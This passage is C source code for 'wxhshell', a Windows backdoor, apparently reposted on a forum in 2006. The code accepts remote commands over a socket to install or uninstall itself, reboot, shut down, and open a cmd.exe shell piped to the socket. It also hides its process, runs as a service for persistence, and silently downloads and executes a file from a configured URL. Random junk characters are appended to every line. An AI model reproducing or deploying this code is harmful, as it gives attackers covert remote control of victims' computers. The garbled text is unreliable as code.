      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )(`HEl>-9c  
    break; n+qa/<  
  } _G1C5nkDl4  
  // 安装 *\4u:1Cu  
  case 'i': { xzrA%1y  
    if(Install()) {=A8kgt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yD\[`!sWk  
    else VHlo}Ek<#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `j1(GQt  
    break; ?V >{3  
    } ;c;5O@R}3  
  // 卸载 S(MVL!Lm  
  case 'r': { x}(p\Efx  
    if(Uninstall()) 1 ^q~NYTK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); trAIh}Dj  
    else KH_~DZU*5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Q36lR  
    break; C;BC@OE  
    } $EUlh^  
  // 显示 wxhshell 所在路径 [L4s.l_#  
  case 'p': { |WMP_sGn  
    char svExeFile[MAX_PATH]; `Ir{ax&H.e  
    strcpy(svExeFile,"\n\r"); sPoH12?AL  
      strcat(svExeFile,ExeFile); *!p#1fE  
        send(wsh,svExeFile,strlen(svExeFile),0); rJ7yq|^Z  
    break; 4y$tp1 8  
    } 2C@s-`b   
  // 重启 kntM  
  case 'b': { ~4{|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {L9WeosQ  
    if(Boot(REBOOT)) EKTn$k=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z:a%kZQ!0  
    else { XZ1oV?Z4  
    closesocket(wsh); W:V:Ej7 h  
    ExitThread(0); aW.[3M;?v  
    } O77bm,E  
    break; ImZ!8#  
    } )e6)~3[^  
  // 关机 fH6mv0  
  case 'd': { t;2\(_A  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yWkg4  
    if(Boot(SHUTDOWN)) mO|YX/>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p%?m|(4f  
    else { co-dq\P  
    closesocket(wsh); :i8B'|DN5  
    ExitThread(0); ']cRSj.  
    } g[ dI%  
    break; kEr; p{5  
    } ,'0Zd(s  
  // 获取shell !caY  
  case 's': { o1B8_$aYgc  
    CmdShell(wsh); hJsYKd8g  
    closesocket(wsh); vD@ =V#T  
    ExitThread(0); L%sskV(  
    break; YKtF)N;m]  
  } F-SD4a  
  // 退出 z&x3":@u<  
  case 'x': { =FfxHo1k  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); @}[yC['  
    CloseIt(wsh); {!G  
    break; kl/eJN'S  
    } Z#nPn>,q  
  // 离开 (s?Rbd  
  case 'q': { 8kA2.pIk  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZT'VF~  
    closesocket(wsh); 9S8>"w^R  
    WSACleanup(); 2$OI(7b=  
    exit(1); d=~-8]%\  
    break; 7>sNjOt@M  
        } 52H'aHO1  
  } b IZuZF>*  
  } L2GUrf  
ln~;Osb  
  // 提示信息 M}c gVMW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :\sz`p?EC  
} "jFRGgd79  
  } EJ&aT etQ  
:e|[gEA  
  return; 7F!(60xY  
} =mWr8p-H  
40ZHDtIu<  
// shell模块句柄 QhqXd  
int CmdShell(SOCKET sock) V% PeZ.Xv  
{ dd{pF\a  
STARTUPINFO si; BXx0Z %e.3  
ZeroMemory(&si,sizeof(si)); t!S ja  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 9+!1jTGSkf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |y T-N3H@  
PROCESS_INFORMATION ProcessInfo; 9]E;en NQ  
char cmdline[]="cmd"; vy&< O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9PZY](/  
  return 0; .>A`FqV$~+  
} qC;1ND  
f5p:o}U*  
// 自身启动模式 6&Al9+$  
int StartFromService(void) V < ;vy&&  
{ yv&VK ht  
typedef struct pD )$O}  
{ Z6Kw'3  
  DWORD ExitStatus; bm Hl\?  
  DWORD PebBaseAddress; f:)%+)U<Xm  
  DWORD AffinityMask; 7 g2@RKo  
  DWORD BasePriority; h_{//W[  
  ULONG UniqueProcessId; _ U%fD|t  
  ULONG InheritedFromUniqueProcessId; [LcHO] _^M  
}   PROCESS_BASIC_INFORMATION; :fW\!o 8Z2  
kCoTz"Z-  
PROCNTQSIP NtQueryInformationProcess; (sHvoE^q-  
V< ]l=JOd  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bF#1'W&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D. _*p  
t(,_  
  HANDLE             hProcess; 5*he  
  PROCESS_BASIC_INFORMATION pbi; B"9/+Yj  
P{{pp<tX*&  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {8YNmxF#  
  if(NULL == hInst ) return 0; TAl#V 7PF}  
5/m^9@A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $u`v k|\R  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ==i:*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Oy,`tG0  
k8~/lE.Wy  
  if (!NtQueryInformationProcess) return 0; |D ?}6z  
lN<,<'&^.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4kZ9]5#.  
  if(!hProcess) return 0; X9lh@`3  
fT&>L  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RkW)B^#  
%#^)hX,+Q  
  CloseHandle(hProcess); Z6Owxqfht  
K:i{us`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mROXwzL  
if(hProcess==NULL) return 0; _Coh11  
T<\!7 RnLc  
HMODULE hMod; G31??L:<  
char procName[255]; _ zh>q4M  
unsigned long cbNeeded; .%iJin"  
~qk5Mk4$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~sd+ch*  
D8b~-#  
  CloseHandle(hProcess); DV,rh83.ip  
|6mDooTy  
if(strstr(procName,"services")) return 1; // 以服务启动 :Y AxL J  
KG5h$eM'  
  return 0; // 注册表启动 =h#3D?b0n  
} bkZ~O=uv$-  
)kq3q5*_  
// 主模块 )7H s  
int StartWxhshell(LPSTR lpCmdLine) ;g0p`wV  
{ DKcg  
  SOCKET wsl; \8I>^4t'/  
BOOL val=TRUE; C9`J6Uu  
  int port=0; @y#QHJ.j  
  struct sockaddr_in door;  ?Cu1"bl  
Hvm+Tr2@  
  if(wscfg.ws_autoins) Install(); JpFfO<uO  
<}^W9 >u<  
port=atoi(lpCmdLine); 7:Jyu/*]  
h7EKb-@  
if(port<=0) port=wscfg.ws_port; c]y"5;V8  
]lKQ wpX3  
  WSADATA data; T2nbU6H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GCf3'u  
J5J$qCJq  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Z|uLXaz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xKKR'v:o\  
  door.sin_family = AF_INET; Or0eY#c  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :OF:(,J  
  door.sin_port = htons(port); qrFC4\q}  
b :Knc$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q=M\#MlL0'  
closesocket(wsl); q 16jL,i  
return 1; a!;]9}u7  
} @Gs*y1  
t5%\`Yo?  
  if(listen(wsl,2) == INVALID_SOCKET) { *mc]Oa  
closesocket(wsl); &*}NN5Sv  
return 1; T@n-^B!Xq  
} Zl0Kv *S  
  Wxhshell(wsl); nbnbG0r:  
  WSACleanup(); o4)^U t+  
,C#Mf@b  
return 0; ?:Y0#Btj  
3lyk/',  
} kH!I&4d&  
hLVS}HE2  
// 以NT服务方式启动 h48JpZ"  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :J3ZTyjb  
{ x4PH-f-7  
DWORD   status = 0; RaK fYLw  
  DWORD   specificError = 0xfffffff; Q9lw~"  
%f{1u5+5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d2Z kchf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Q]';1#J\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H$^b.5K  
  serviceStatus.dwWin32ExitCode     = 0; 9I a4PPEH1  
  serviceStatus.dwServiceSpecificExitCode = 0; Ek [V A\G  
  serviceStatus.dwCheckPoint       = 0; xZ51iD $  
  serviceStatus.dwWaitHint       = 0; [e2sUO0~r  
;CU<\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *0 ;DCUv  
  if (hServiceStatusHandle==0) return; x*H4o{o0  
\haJe~  
status = GetLastError(); $c-h'o  
  if (status!=NO_ERROR) dbkkx1{>Y  
{ Q0K4_iN)&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; BReNhk)S  
    serviceStatus.dwCheckPoint       = 0; f6 zT  
    serviceStatus.dwWaitHint       = 0; 6]i"lqb  
    serviceStatus.dwWin32ExitCode     = status; 8{5Y%InL  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hev S}L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vG(Gs=.U  
    return; iOB]72dh  
  } }+[H~8)5  
y.AF90Q>)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; UFxQ-GV4  
  serviceStatus.dwCheckPoint       = 0; q16RPqfT  
  serviceStatus.dwWaitHint       = 0; G>?hojvi  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FhgO5@BO  
} x1m J&D  
8&6h()  
// 处理NT服务事件,比如:启动、停止 S~\i"A)4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ."R,j|o6  
{ $73j*@EQA  
switch(fdwControl) v535LwFW  
{ 7qB}Hvh  
case SERVICE_CONTROL_STOP: }5H3DavW  
  serviceStatus.dwWin32ExitCode = 0; 6#xP[hlR[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7xP>AU)y  
  serviceStatus.dwCheckPoint   = 0; s(Of EzsH=  
  serviceStatus.dwWaitHint     = 0; 3K2`1+kBVG  
  { #zC_;u$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K/Q^8%Z  
  } aOq>Ra{T  
  return; [>P@3t(/  
case SERVICE_CONTROL_PAUSE: ^$):Xz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6!} @vp![  
  break; OO@ (lt  
case SERVICE_CONTROL_CONTINUE: n'D1s:W^B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4@PH5z  
  break; @O}%sjC1  
case SERVICE_CONTROL_INTERROGATE: *0)vsBi  
  break; 6(4FC?Y7  
}; +'abAST t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :\x)`lu  
} 4,m aA  
Cf`s:A5<J  
// 标准应用程序主函数 ]/!#:  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) jX^uNmb  
{ 8kQ >M  
Vx@JP93|  
// 获取操作系统版本 ql5NSQ>{  
OsIsNt=GetOsVer(); "d'D:>z]%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u8pJjn;  
*<n]"-  
  // 从命令行安装 :ND5po#(  
  if(strpbrk(lpCmdLine,"iI")) Install(); *TY?*H  
ANEW^\  
  // 下载执行文件 =Mb!&qq  
if(wscfg.ws_downexe) { ]}2+yK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XVjs0/5b  
  WinExec(wscfg.ws_filenam,SW_HIDE); '~ RP+  
} DVxW2J  
(tV/.x*G  
if(!OsIsNt) { g$s"x r`:  
// 如果时win9x,隐藏进程并且设置为注册表启动 5" <7  
HideProc(); u1F@VV{  
StartWxhshell(lpCmdLine); Jg=[!j0(  
} 6q ._8%  
else ${^WM}N  
  if(StartFromService()) 12;"=9e!  
  // 以服务方式启动 ^>02,X mk  
  StartServiceCtrlDispatcher(DispatchTable); )J 4XM(  
else hjywYd]8  
  // 普通方式启动 DjK:)  
  StartWxhshell(lpCmdLine); lz.ta!6  
Uk=jQfA*J  
return 0; b: UTq 7^  
}
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只看该作者 1 发表于: 2006-10-10
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